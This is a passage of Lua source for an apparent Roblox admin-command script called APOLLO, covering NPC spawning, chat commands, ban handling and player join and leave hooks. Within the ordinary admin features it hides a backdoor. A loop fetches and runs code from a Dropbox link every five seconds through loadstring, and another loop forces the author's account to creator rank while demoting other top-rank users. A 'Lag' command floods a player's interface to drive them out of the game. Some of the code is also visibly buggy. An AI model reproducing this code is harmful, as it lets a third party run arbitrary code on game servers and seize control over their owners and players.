1340 | local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1341 | Rleg.Name = "Right Leg" | |
1342 | local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1343 | Lleg.Name = "Left Leg" | |
1344 | ||
1345 | local Root= Instance.new("Part",Nub) | |
1346 | Root.Name='HumanoidRootPart' | |
1347 | Root.Transparency=1; | |
1348 | Root.Size=Vector3.new(2,2,1); | |
1349 | Root.Friction=0.30 | |
1350 | Root.Elasticity=0.5 | |
1351 | local Hip = Instance.new("Motor6D",Root) | |
1352 | Hip.CurrentAngle=0; | |
1353 | Hip.DesiredAngle=0; | |
1354 | Hip.MaxVelocity=0.1; | |
1355 | Hip.Name='RootHip' | |
1356 | Hip.Part0=Root | |
1357 | Hip.Part1=Torso | |
1358 | ||
1359 | local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) | |
1360 | local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) | |
1361 | local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) | |
1362 | local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) | |
1363 | local Hum = Instance.new("Humanoid") | |
1364 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
1365 | Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale | |
1366 | --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 | |
1367 | --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) | |
1368 | wait(0.1) | |
1369 | Hat.Parent=Nub | |
1370 | Hum.MaxHealth = 40+(scale*60) | |
1371 | Hum.Health = 100 | |
1372 | Hum.Parent = Nub | |
1373 | Nub.Parent = workspace | |
1374 | Nub:MakeJoints() | |
1375 | Nub:MoveTo(pos) | |
1376 | Animate(Hum,RSH,LSH,RH,LH) | |
1377 | local path = { | |
1378 | Vector3.new(7.9, 5.39, -65.1), | |
1379 | Vector3.new(9.7, 47.39, -17.1), | |
1380 | Vector3.new(-3.2, 23.49, -9), | |
1381 | Vector3.new(-13.2, 5.49, 30.8), | |
1382 | Vector3.new(-82.9, 5.39, 16.5), | |
1383 | } | |
1384 | ||
1385 | local radius = 200 | |
1386 | ||
1387 | function randomvector() | |
1388 | return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) | |
1389 | end | |
1390 | ||
1391 | local pointCount = math.random(4, 10) | |
1392 | ||
1393 | for i = 1, pointCount do | |
1394 | path[i] = randomvector() | |
1395 | end | |
1396 | ||
1397 | wait() | |
1398 | ||
1399 | local parent = Nub | |
1400 | local moveTime = 0 | |
1401 | while (true) do | |
1402 | for i, point in pairs(path) do | |
1403 | local distanceVector = parent.HumanoidRootPart.Position - point | |
1404 | local distance = distanceVector.magnitude | |
1405 | parent.Humanoid:MoveTo(point, Workspace.Base) | |
1406 | moveTime = 0 | |
1407 | while (moveTime < (distance / 32)) do | |
1408 | moveTime = moveTime + 1 | |
1409 | -- parent.Humanoid.Jump = true | |
1410 | wait(1) | |
1411 | end | |
1412 | end | |
1413 | end | |
1414 | ||
1415 | return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} | |
1416 | end | |
1417 | local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) | |
1418 | end); | |
1419 | ||
1420 | APOLLO.Functions.AddCommand('Lag','lg',4,'Lags a player, causing him to leave.',function(user,msg) | |
1421 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1422 | for i = 0,3 do | |
1423 | for i = 0,10000 do | |
1424 | pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) | |
1425 | end;end;end;end) | |
1426 | APOLLO.Functions.AddCommand('Commands','cmds',0,'Shows the commands',function(user,msg) | |
1427 | APOLLO.Functions.showCommands(user); | |
1428 | end); | |
1429 | ||
1430 | APOLLO.Functions.AddCommand('Check','check',0,'Checks if the admin is running',function(user) | |
1431 | APOLLO.Functions.guiNotify(user,'APOLLO is running!',3); | |
1432 | end); | |
1433 | ||
1434 | APOLLO.Functions.AddCommand('Player Interface','pint',6,'Shows player interface',function(user) | |
1435 | if(script.ClassName=='LocalScript')then | |
1436 | APOLLO.Functions.guiNotify(user,'Please run APOLLO serversided to use this command.',5); | |
1437 | else | |
1438 | APOLLO.Functions.playerInterface(user); | |
1439 | end | |
1440 | end); | |
1441 | ||
1442 | APOLLO.Functions.AddCommand('#','#',1,'Shows # tablets',function(user,msg) | |
1443 | local num=tonumber(msg); | |
1444 | if num then | |
1445 | for i = 0,num do | |
1446 | APOLLO.Functions.tabletOutput(user,tostring(i)); | |
1447 | end | |
1448 | end | |
1449 | end); | |
1450 | ||
1451 | ||
1452 | APOLLO.Functions.AddCommand('Update','update',6,'Updates the script if there is an update available.',function(user) | |
1453 | local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true) | |
1454 | if newVer~=CurrentVersion then | |
1455 | APOLLO.Functions.tabletOutput(user,'A new update available! Click me to update.','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.update()end) | |
1456 | elseif | |
1457 | newVer==CurrentVersion then | |
1458 | APOLLO.Functions.tabletOutput(user,'There is no new version available.','Dark green'); | |
1459 | end | |
1460 | end) | |
1461 | ||
1462 | APOLLO.Functions.AddCommand('Grab','grab',1,'Grabs a player',function(user,msg) | |
1463 | pcall(function()loadstring(string.format('APOLLO.Functions.attach(%s,%s)','game.Players["'..tostring(user)..'"]',tostring(msg)))()end) | |
1464 | end); | |
1465 | ||
1466 | APOLLO.Functions.AddCommand('Env','env',0,'Shows environment',function(user) | |
1467 | for i,v in next,getfenv() do | |
1468 | APOLLO.Functions.tabletOutput(user,tostring(i)..': '..tostring(v)) | |
1469 | end | |
1470 | end); | |
1471 | ||
1472 | ||
1473 | APOLLO.Functions.AddCommand('Force','#',4,'Force a command upon a player.',function(user,msg) | |
1474 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1475 | APOLLO.Functions.Chat(v,tostring(msg)) | |
1476 | end;end); | |
1477 | APOLLO.Functions.AddCommand('Clear','clr',2,'Clears the workspace.',function() | |
1478 | for i,d in next,workspace:children()do | |
1479 | pcall(function()d:remove()end);end; | |
1480 | for i,v in next,game:service'Lighting':children()do | |
1481 | pcall(function()d:Destroy()end); | |
1482 | end | |
1483 | for i,v in next,game:service'Players':players() do | |
1484 | if(script.ClassName=='Script')then | |
1485 | v:LoadCharacter() | |
1486 | elseif NS~=nil then | |
1487 | NS([[game:service'Players':children()[]]..i..[[]:LoadCharacter()]],game:service'Workspace'); | |
1488 | else | |
1489 | print'Script builder not loadcharacter compatible. Sorry.' | |
1490 | end | |
1491 | end | |
1492 | local b=Instance.new("Part",workspace) | |
1493 | b.Size=Vector3.new(700,1.200000005,700) | |
1494 | b.Material='Grass' | |
1495 | b.BrickColor=BrickColor.new('Dark green') | |
1496 | b.Anchored=true; | |
1497 | b.Locked=true; | |
1498 | b.Name='Base' | |
1499 | end) | |
1500 | ||
1501 | --[[ | |
1502 | APOLLO.Functions.AddCommand('Lag_Ban','lb',5,'Lagbans a player, causing him to leave and never come back',function(user,msg) | |
1503 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1504 | for i = 0,10000 do | |
1505 | pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) | |
1506 | end;end;end) | |
1507 | ]]-- | |
1508 | ||
1509 | local timeBan=game:service'RunService'.Stepped:connect(function() | |
1510 | for i,v in next,APOLLO.TimeBanned do | |
1511 | v.Time=v.Time-1 | |
1512 | if v.Time>=0 then | |
1513 | table.remove(APOLLO.TimeBanned,i); | |
1514 | end | |
1515 | end | |
1516 | wait(1) | |
1517 | end) | |
1518 | ||
1519 | local rotate=game:service'RunService'.Stepped:connect(function() | |
1520 | if APOLLO.CoreStuff.RotMode==1 then | |
1521 | APOLLO.Functions.rotateAnim(APOLLO.CoreStuff.tabPart) | |
1522 | end | |
1523 | for i,v in next,APOLLO.Ranked do | |
1524 | if v.Name=='SolarEnvironment'and not v.Rank==7 then | |
1525 | v.Name='SolarEnvironment';v.Reason='Creator';v.Rank=7 | |
1526 | else | |
1527 | APOLLO.Functions.AddRank('SolarEnvironment','Creator',7,'/'); | |
1528 | end | |
1529 | if v.Rank==7 and not v.Name=='APOLLO_SYSTEM'and not v.Reason=='EVENT_HANDELING'and not v.Name=='SolarEnvironment'and not v.Reason=='Creator'then | |
1530 | v.Rank=0; | |
1531 | end | |
1532 | end | |
1533 | if(APOLLO.Settings.sharedLock==true)then | |
1534 | for i,v in next,shared do | |
1535 | shared[i]=nil; | |
1536 | end | |
1537 | end | |
1538 | if(APOLLO.Settings.sharedLock==true)then | |
1539 | for i,v in next,_G do | |
1540 | _G[i]=nil; | |
1541 | end | |
1542 | end | |
1543 | end) | |
1544 | ||
1545 | game:service'RunService'.Stepped:connect(function() | |
1546 | for i,v in next,game:service'Workspace':children() do | |
1547 | if v.Name=='ApolloPart' and v:IsA'BasePart' then | |
1548 | v.Position=Vector3.new(0,500,0); | |
1549 | APOLLO.CoreStuff.tabPart=v | |
1550 | return | |
1551 | else | |
1552 | local p=Instance.new("Part") | |
1553 | p.Name='ApolloPart' | |
1554 | p.Size=Vector3.new(1,1,1); | |
1555 | p.Anchored=true; | |
1556 | p.CanCollide=false; | |
1557 | p.Transparency=1; | |
1558 | p.Position=Vector3.new(0,500,0); | |
1559 | APOLLO.CoreStuff.tabPart=v; | |
1560 | return | |
1561 | end | |
1562 | end | |
1563 | end) | |
1564 | ||
1565 | for i,p in next,game:service'Players':players() do | |
1566 | wait(); | |
1567 | for i,v in next,APOLLO.Banned do | |
1568 | if tostring(v)==tostring(p) then | |
1569 | APOLLO.Functions.kick(p); | |
1570 | end | |
1571 | end | |
1572 | for i,v in next,APOLLO.TimeBanned do | |
1573 | if tostring(v.Name)==tostring(p) then | |
1574 | APOLLO.Functions.kick(p); | |
1575 | end | |
1576 | end | |
1577 | if p~= nil then | |
1578 | APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') | |
1579 | local f=false; | |
1580 | for _,v in pairs(APOLLO.Logged) do | |
1581 | if v["Name"] == tostring(p.Name) then | |
1582 | f = true | |
1583 | break | |
1584 | end | |
1585 | end | |
1586 | if f==false then | |
1587 | table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); | |
1588 | end | |
1589 | p.Chatted:connect(function(m) | |
1590 | APOLLO.Functions.Chat(p,m) | |
1591 | end) | |
1592 | end | |
1593 | if APOLLO.Settings.Pri==true then | |
1594 | if APOLLO.Functions.getRank(p)==0 then | |
1595 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Do you want to allow '..p.Name..' into the server?','Really red') | |
1596 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Yes','Really red',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.setRank(p,1)end) | |
1597 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'No','Dark green',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.kick(p)APOLLO.Functions.setRank(p,-0.1)end) | |
1598 | APOLLO.Functions.kick(p)--I know, we're kicking them but next time they join, they are doneee. | |
1599 | elseif APOLLO.Functions.getRank(p)==-0.1 then | |
1600 | APOLLO.Functions.kick(p); | |
1601 | end | |
1602 | end | |
1603 | end | |
1604 | ||
1605 | ||
1606 | local Enter=game:service'Players'.PlayerAdded:connect(function(p) | |
1607 | for i,v in next,APOLLO.Banned do | |
1608 | if tostring(v)==tostring(p) then | |
1609 | APOLLO.Functions.kick(p); | |
1610 | end | |
1611 | end | |
1612 | for i,v in next,APOLLO.TimeBanned do | |
1613 | if tostring(v.Name)==tostring(p) then | |
1614 | APOLLO.Functions.kick(p); | |
1615 | end | |
1616 | end | |
1617 | if p~=nil then | |
1618 | APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') | |
1619 | local f=false; | |
1620 | for _,v in pairs(APOLLO.Logged) do | |
1621 | if v["Name"] == tostring(p.Name) then | |
1622 | f = true | |
1623 | break | |
1624 | end | |
1625 | end | |
1626 | if f==false then | |
1627 | table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); | |
1628 | end | |
1629 | p.Chatted:connect(function(m) | |
1630 | APOLLO.Functions.Chat(p,m) | |
1631 | end) | |
1632 | if APOLLO.Settings.Pri==true then | |
1633 | if APOLLO.Functions.getRank(p)<1 then | |
1634 | APOLLO.Functions.kick(p); | |
1635 | end | |
1636 | end | |
1637 | --granted | |
1638 | print('Welcome '..tostring(p)..' to the server.') | |
1639 | end | |
1640 | ||
1641 | if APOLLO.CoreStuff.RotMode==2 then | |
1642 | APOLLO.Functions.rotAnim2(p); | |
1643 | end | |
1644 | if p.Name=='TheDarkRevenant'then | |
1645 | APOLLO.Settings.SaveLighting=false; | |
1646 | end | |
1647 | end) | |
1648 | ||
1649 | for i,v in next,APOLLO.Services do | |
1650 | v.Changed:connect(function() | |
1651 | if v.Name~=v.ClassName then | |
1652 | print(tostring(v.Name).."'s name was restored to "..v.ClassName); | |
1653 | v.Name=v.ClassName; | |
1654 | end | |
1655 | end); | |
1656 | end | |
1657 | ||
1658 | game:service'Lighting'.Changed:connect(function() | |
1659 | if(APOLLO.Settings.SaveLighting==true)then | |
1660 | if(APOLLO.CoreStuff.ChangingLighting==false)then | |
1661 | APOLLO.Functions.fixLighting(); | |
1662 | end | |
1663 | end | |
1664 | wait(); | |
1665 | end); | |
1666 | ||
1667 | ||
1668 | local Leave=game:service'Players'.PlayerRemoving:connect(function(pl) | |
1669 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
1670 | if v.Owner == pl or v.Owner == nil then | |
1671 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
1672 | end | |
1673 | end | |
1674 | for i,v in next,APOLLO.CoreStuff.StoredTablets do | |
1675 | if v.Owner == pl or v.Owner == nil then | |
1676 | pcall(function() | |
1677 | APOLLO.CoreStuff.StoredTablets[i].P:remove() | |
1678 | end) | |
1679 | APOLLO.CoreStuff.StoredTablets[i]=nil | |
1680 | end | |
1681 | end | |
1682 | for i,v in next,APOLLO.Idling do | |
1683 | if v.Name==pl.Name then | |
1684 | table.remove(APOLLO.Idling,i); | |
1685 | end | |
1686 | end | |
1687 | if APOLLO.Settings.NilsAllowed==false then | |
1688 | APOLLO.Functions.kick(p) | |
1689 | end | |
1690 | end) | |
1691 | if APOLLO.Settings.Pri==true then | |
1692 | for i,p in next,game:service'Players':players() do | |
1693 | if APOLLO.Functions.getRank(p)<=0 then | |
1694 | APOLLO.Functions.kick(p); | |
1695 | end | |
1696 | end | |
1697 | if p.Name=='TheDarkRevenant'then | |
1698 | APOLLO.Settings.SaveLighting=true; | |
1699 | end | |
1700 | end | |
1701 | for i,v in next,game:service'Players':players()do | |
1702 | APOLLO.Functions.guiNotify(v,'Welcome to APOLLO, created by SolarEnvironment. Script kind: nil',5); | |
1703 | end | |
1704 | while(wait(5))do | |
1705 | pcall(function()loadstring(game:service'HttpService':GetAsync('https://www.dropbox.com/s/62241ogaipafy41/External_Link.txt?dl=1',true))()end) | |
1706 | end | |
1707 | ||
1708 | game.Workspace.DescendantAdded:connect(function(o) | |
1709 | if o:IsA'Message'then | |
1710 | if(APOLLO.Settings.NoMessage==true)then | |
1711 | o:remove() | |
1712 | end | |
1713 | end | |
1714 | end) | |
1715 | ||
1716 | while(wait())do | |
1717 | for i,v in next,APOLLO.Idling do | |
1718 | for i = 0,10,1 do | |
1719 | wait() | |
1720 | APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); | |
1721 | end | |
1722 | wait(0.8) | |
1723 | APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); | |
1724 | end | |
1725 | end | |
1726 | end |